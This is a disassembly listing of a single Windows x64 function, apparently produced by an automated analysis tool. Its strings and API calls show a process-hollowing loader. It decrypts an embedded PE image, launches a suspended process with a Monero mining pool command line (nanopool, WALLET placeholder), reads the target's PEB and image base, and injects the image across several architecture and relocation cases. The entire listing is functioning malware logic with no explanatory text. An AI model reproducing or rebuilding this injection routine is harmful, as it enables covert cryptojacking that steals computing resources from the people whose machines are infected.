Function at 0x14001147e
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
jmp 0x1400199c0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x7f0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x158
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x818]
mov rax, qword [0x14099a680]
xor rax, rbp
mov qword [rbp + 0x790], rax
lea rcx, [0x1409a111a]
call fcn.1400116c2
call fcn.1400110aa
call fcn.1400116a9
lea rdx, str.23366c773d53740fec77da2ba060ee8f959ea5df
lea rcx, [rbp + 8]
call fcn.1400112d5
nop
mov ecx, 0x408
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 8]
call fcn.1400114e2
mov dword [rbp + 0x784], eax
lea rcx, [rbp + 8]
call fcn.140011096
mov qword [rbp + 0x788], rax
mov r8d, dword [rbp + 0x784]
mov rdx, qword [rbp + 0x788]
mov rcx, qword [rbp + 0x48]
call fcn.1400115a0
mov r8d, 0x7de800
lea rdx, section..data
mov rcx, qword [rbp + 0x48]
call fcn.140011627
lea rax, [rbp + 0x494]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x4b8]
lea rcx, [rbp + 0x494]
call fcn.140013f40
mov rcx, rax
call fcn.1400111ef
mov qword [0x14099aaf0], rax
lea rax, section..data
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140019ae8
mov dword [rbp + 0x514], 0xffffffff
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x514]
jmp 0x14001a435
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov r8, qword [rbp + 0x68]
lea rdx, str.___PE_file_content_:_0x_p_n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019ae8
mov rcx, qword [rbp + 0x68]
call fcn.14001166d
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jne 0x140019b7e
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____The_PE_file_is_not_valid___n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019b24
cmp qword [rbp + 0x68], 0
je 0x140019b60
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x68]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [rbp + 0x534], 0xffffffff
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x534]
jmp 0x14001a435
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___The_PE_file_is_valid._n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019b7e
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0xb0]
call fcn.140011519
mov dword [rbp + 0xb0], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x138]
call fcn.140011519
lea rax, [rbp + 0x138]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, str.__coin_monero__o_xmr_us_west1.nanopool.org:10300__u_WALLET__p_x
mov rcx, qword [0x14099aaf0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x164], eax
cmp dword [rbp + 0x164], 0
jne 0x140019c81
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____An_error_is_occured_when_trying_to_create_the_target_process___n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019c33
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.140011177
mov dword [rbp + 0x554], 0xffffffff
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x554]
jmp 0x14001a435
lea rdx, [rbp + 0x184]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov qword [rbp + 0x1a8], 0
mov qword [rbp + 0x1b0], 0
cmp dword [rbp + 0x184], 0
je 0x140019d61
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x5a8]
call fcn.140011325
lea rcx, [rbp + 0x578]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1a8]
lea rcx, [rbp + 0x578]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x1b0], 0
je 0x140019d0e
cmp qword [rbp + 0x1a8], 0
jne 0x140019d5c
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____An_error_is_occured_when_trying_to_get_the_image_base_address_of_the_target_process___n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019d0e
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.140011177
mov dword [rbp + 0x5d4], 0xffffffff
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x5d4]
jmp 0x14001a435
jmp 0x140019e05
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x628]
call fcn.140011212
lea rcx, [rbp + 0x5f8]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1a8]
lea rcx, [rbp + 0x5f8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x1b0], 0
je 0x140019db7
cmp qword [rbp + 0x1a8], 0
jne 0x140019e05
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____An_error_is_occured_when_trying_to_get_the_image_base_address_of_the_target_process___n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019db7
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.140011177
mov dword [rbp + 0x654], 0xffffffff
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x654]
jmp 0x14001a435
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov r8, qword [rbp + 0x1a8]
lea rdx, str.___Target_Process_PEB_:_0x_p_n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019e05
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov r8, qword [rbp + 0x1b0]
lea rdx, str.___Target_Process_Image_Base_:_0x_p_n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019e2c
mov rcx, qword [rbp + 0x68]
call fcn.140011654
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0
je 0x140019e8d
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___Source_PE_Image_architecture_:_x86_n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019e6b
jmp 0x140019ead
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___Source_PE_Image_architecture_:_x64_n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019e8d
cmp dword [rbp + 0x184], 0
je 0x140019ed8
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___Target_PE_Image_architecture_:_x86_n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019eb6
jmp 0x140019ef8
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___Target_PE_Image_architecture_:_x64_n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019ed8
cmp dword [rbp + 0x1d4], 0
je 0x140019f0a
cmp dword [rbp + 0x184], 0
jne 0x140019f1c
cmp dword [rbp + 0x1d4], 0
jne 0x140019f3e
cmp dword [rbp + 0x184], 0
jne 0x140019f3e
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___Architecture_are_compatible___n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019f1c
jmp 0x140019f7c
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____Architecture_are_not_compatible___n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019f3e
mov dword [rbp + 0x674], 0xffffffff
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x674]
jmp 0x14001a435
cmp dword [rbp + 0x1d4], 0
je 0x140019f96
mov rcx, qword [rbp + 0x68]
call fcn.14001105a
mov dword [rbp + 0x1f4], eax
jmp 0x140019fa5
mov rcx, qword [rbp + 0x68]
call fcn.1400110f0
mov dword [rbp + 0x1f4], eax
cmp dword [rbp + 0x1f4], 0xffffffff
jne 0x140019ffc
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____An_error_is_occured_when_trying_to_get_the_subsytem_of_the_source_image._n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019fae
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.140011177
mov dword [rbp + 0x694], 0xffffffff
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x694]
jmp 0x14001a435
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov r8d, dword [rbp + 0x1f4]
lea rdx, str.___Source_Image_subsystem_:_0x_X_n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x140019ffc
cmp dword [rbp + 0x184], 0
je 0x14001a047
mov rdx, qword [rbp + 0x1b0]
mov rcx, qword [rbp + 0x138]
call fcn.140011492
mov dword [rbp + 0x214], eax
jmp 0x14001a060
mov rdx, qword [rbp + 0x1b0]
mov rcx, qword [rbp + 0x138]
call fcn.1400116f9
mov dword [rbp + 0x214], eax
cmp dword [rbp + 0x214], 0xffffffff
jne 0x14001a0b7
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____An_error_is_occured_when_trying_to_get_the_subsytem_of_the_target_process._n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x14001a069
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.140011177
mov dword [rbp + 0x6b4], 0xffffffff
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x6b4]
jmp 0x14001a435
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov r8d, dword [rbp + 0x214]
lea rdx, str.___Target_Process_subsystem_:_0x_X_n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x14001a0b7
mov eax, dword [rbp + 0x214]
cmp dword [rbp + 0x1f4], eax
jne 0x14001a10e
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___Subsytems_are_compatible._n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x14001a0ec
jmp 0x14001a15c
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____Subsytems_are_not_compatible._n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x14001a10e
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.140011177
mov dword [rbp + 0x6d4], 0xffffffff
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x6d4]
jmp 0x14001a435
cmp dword [rbp + 0x1d4], 0
je 0x14001a176
mov rcx, qword [rbp + 0x68]
call fcn.140011618
mov dword [rbp + 0x234], eax
jmp 0x14001a185
mov rcx, qword [rbp + 0x68]
call fcn.140011299
mov dword [rbp + 0x234], eax
cmp dword [rbp + 0x234], 0
jne 0x14001a1b0
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___The_source_image_doesnt_have_a_relocation_table._n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x14001a18e
jmp 0x14001a1d0
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___The_source_image_has_a_relocation_table._n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x14001a1b0
cmp dword [rbp + 0x1d4], 0
je 0x14001a244
cmp dword [rbp + 0x234], 0
jne 0x14001a244
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.14001128f
test eax, eax
je 0x14001a244
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___The_injection_has_succeed___n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x14001a1f6
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.1400112cb
mov dword [rbp + 0x6f4], 0
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x6f4]
jmp 0x14001a435
cmp dword [rbp + 0x1d4], 0
je 0x14001a2b8
cmp dword [rbp + 0x234], 0
je 0x14001a2b8
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.1400111c2
test eax, eax
je 0x14001a2b8
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___The_injection_has_succeed___n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x14001a26a
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.1400112cb
mov dword [rbp + 0x714], 0
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x714]
jmp 0x14001a435
cmp dword [rbp + 0x1d4], 0
jne 0x14001a32c
cmp dword [rbp + 0x234], 0
jne 0x14001a32c
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.1400110b9
test eax, eax
je 0x14001a32c
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___The_injection_has_succeed___n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x14001a2de
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.1400112cb
mov dword [rbp + 0x734], 0
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x734]
jmp 0x14001a435
cmp dword [rbp + 0x1d4], 0
jne 0x14001a3a0
cmp dword [rbp + 0x234], 0
je 0x14001a3a0
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.14001138e
test eax, eax
je 0x14001a3a0
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___The_injection_has_succeed___n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x14001a352
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x138]
call fcn.1400112cb
mov dword [rbp + 0x754], 0
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x754]
jmp 0x14001a435
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____The_injection_has_failed___n
mov rcx, rax
call fcn.140011609
xor eax, eax
test eax, eax
jne 0x14001a3a0
cmp qword [rbp + 0x68], 0
je 0x14001a3dc
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x68]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x140], 0
je 0x14001a3f3
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x138], 0
je 0x14001a41c
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x774], 0xffffffff
lea rcx, [rbp + 8]
call fcn.140011127
mov eax, dword [rbp + 0x774]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140024a20]
call fcn.14001159b
mov rax, rdi
mov rcx, qword [rbp + 0x790]
xor rcx, rbp
call fcn.140011320
lea rsp, [rbp + 0x7a0]
pop rdi
pop rsi
pop rbp
ret